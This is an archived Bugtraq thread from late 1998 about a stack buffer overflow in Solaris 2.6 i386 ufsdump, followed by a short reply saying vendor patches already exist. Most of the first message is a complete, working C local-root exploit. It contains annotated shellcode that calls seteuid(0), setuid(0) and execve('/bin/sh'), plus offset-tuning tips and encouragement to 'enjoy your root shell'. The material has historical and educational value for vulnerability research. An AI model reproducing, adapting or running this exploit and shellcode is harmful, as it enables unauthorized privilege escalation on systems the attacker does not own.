text: ufodump - i386 Solaris local root exploit for /usr/lib/fs/ufs/ufsdump, tested and confirmed under Solaris 2.6 i386.
  10eaf15c8014c679384fcef2039ceacc
  Date: Wed, 30 Dec 1998 23:43:35 +0100
  From: Anonymous <nobody@REPLAY.COM>
  To: BUGTRAQ@netspace.org
  Subject: Revisiting ufsdump under Solaris 2.6
  A while back, in April and June of 1998, there was some chatter on Bugtraq
  about the ufsdump and ufsrestore programs in Solaris 2.6. The first
  posting came from Seth McGann who had managed to create a preliminary
  exploit for ufsdump on the i386 platform. Seth's original post can be
  found at:
  Seth experienced some difficulties with his exploit and I thought I might
  clarify some of his questions. To start with, yes, the i386 binary of
  ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just
  a little bit more kung fu to get us a root shell.
  Just like rdist, ufsdump runs most of the time with an EUID and UID of
  you, but retains a saved UID of root (thanks to its original SUID root
  nature) which it uses to toggle its EUID between you and root as needed,
  but only briefly and for small sections of code at a time. What does this
  mean to you, the enterprising young exploit writer? You must use this
  same mechanism to make sure your shell (or whatever else you plan to do)
  gets exec'd as root. But there is one other step you must worry about.
  The Bourne shell under Solaris performs checks of its EUID when it runs.
  If the EUID of the shell is less than 100 and does not match the real UID,
  the shell drops its privileges by reverting its EUID back to its real UID.
  Do you see where this is leading? In your shell code you must do a
  seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0
  when the overflow happened, as is the case with this particular ufsdump
  hole), followed by a setuid(0) to fully become root, followed by your
  execve() to get your shell. A fully functional exploit is included at the
  end of this message. This very same shell code can be used in a rdist
  exploit for Solaris 2.6 (i386), but I'll not post that today.
  Why don't I take this opportunity to put in a few jabs at Sun. What are
  the engineers at Sun thinking? The buffer overflow exploit is not at all
  a new or exotic technique, and their sorry coding practices make this type
  of exploit surprisingly easy. What is the problem in ufsdump? In the
  function msg(), vsprintf() is used to build an informational message to
  display back to the user, but the buffer used to hold the message (1024
  bytes in size) resides on the stack, and that is the key to the exploit.
  Among the many calls to msg() in ufsdump, some calls used for creating
  error messages include the erroneous input in the text of the message, and
  this exploit tweaks one of those calls that uses a vsprintf format string
  of "Cannot open dump device `%s': %s\n", where we, the untrusted users,
  get to provide the dump device name. That is not the only possible avenue
  of attack, either. If ufsdump is invoked with an argv[0] of "hsmdump"
  there are what appear to be even easier overflows of the U and O command
  line options.
  Knock, knock, anybody home? Just imagine all the problems Sun would solve
  if they replaced each of these vsprintf() and sprintf() calls in the
  Solaris source tree with a simple vsnprintf() or snprintf() call. Is that
  too much to ask from such a large and powerful organization like Sun with
  deep pockets and lots of engineers?
  Okay, I'll shut up now. Here's the exploit code. An offset argument of
  around -500 seems to work good for me. The ufsdump error message will
  spill garbage all over your TTY, but just tap your enter key a couple of
  times and enjoy your root shell, then be sure to send Sun your thanks.
  Your brother in arms,
  Cheez Whiz
  cheezbeast@hotmail.com
  ufodump.c
  ----- cut here ----- cut here ----- cut here ----- cut here -----
  /**
  *** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
  ***
  *** Tested and confirmed under Solaris 2.6 i386
  ***
  *** Usage: % ufodump [offset]
  ***
  *** where offset (if present) is the number of bytes to add to the stack
  *** pointer to calculate your target return address; try -1000 to 1000 in
  *** increments of 100 for starters. Thanks go to Seth McGann for the
  *** original bug report and a preliminary exploit.
  ***
  *** Cheez Whiz
  *** cheezbeast@hotmail.com
  ***
  *** December 30, 1998
  **/
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #define BUFLEN 1100
  #define NOP 0x90
  char shell[] =
  /* 0 */ "\xeb\x48" /* jmp springboard */
  /* syscall: */
  /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
  /* 9 */ "\xc3" /* ret */
  /* start: */
  /* 10 */ "\x5e" /* popl %esi */
  /* 11 */ "\x31\xc0" /* xor %eax,%eax */
  /* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */
  /* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */
  /* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
  /* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  /* seteuid: */
  /* 25 */ "\x31\xc0" /* xor %eax,%eax */
  /* 27 */ "\x50" /* pushl %eax */
  /* 28 */ "\xb0\x8d" /* movb $0x8d,%al */
  /* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
  /* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
  /* setuid: */
  /* 38 */ "\x31\xc0" /* xor %eax,%eax */
  /* 40 */ "\x50" /* pushl %eax */
  /* 41 */ "\xb0\x17" /* movb $0x17,%al */
  /* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */
  /* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */
  /* execve: */
  /* 51 */ "\x31\xc0" /* xor %eax,%eax */
  /* 53 */ "\x50" /* pushl %eax */
  /* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
  /* 57 */ "\x53" /* pushl %ebx */
  /* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */
  /* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
  /* 63 */ "\x53" /* pushl %ebx */
  /* 64 */ "\xb0\x3b" /* movb $0x3b,%al */
  /* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */
  /* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
  /* springboard: */
  /* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */
  /* data: */
  /* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
  /* 87 */ "\xff\xff\xff\xff" /* DATA */
  /* 91 */ "\xff\xff\xff\xff"; /* DATA */
  char buf[BUFLEN];
  unsigned long int nop, esp;
  long int offset = 0;
  unsigned long int
  get_esp()
  {
  __asm__("movl %esp,%eax");
  }
  void
  main (int argc, char *argv[])
  {
  int i;
  if (argc > 1)
  offset = strtol(argv[1], NULL, 0);
  if (argc > 2)
  nop = strtoul(argv[2], NULL, 0);
  else
  nop = 800;
  esp = get_esp();
  esp = get_esp();
  memset(buf, NOP, BUFLEN);
  memcpy(buf+nop, shell, strlen(shell));
  for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
  *((int *) &buf[i]) = esp+offset;
  printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
  esp+offset, esp, offset, nop);
  execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
  printf("exec failed!\n");
  return;
  }
  ----------------------------------------------------------------
  Date: Sat, 2 Jan 1999 22:45:01 -0600
  From: Scott <scott@bernadette.net>
  To: BUGTRAQ@netspace.org
  Subject: Re: Revisiting ufsdump under Solaris 2.6
  This vulnerability was patched over a month ago.
  Patch 106793-01 SPARC
  Patch 106794-01 x86
  Both were available in early November.
  Scott Stubbs
  scott@bernadette.net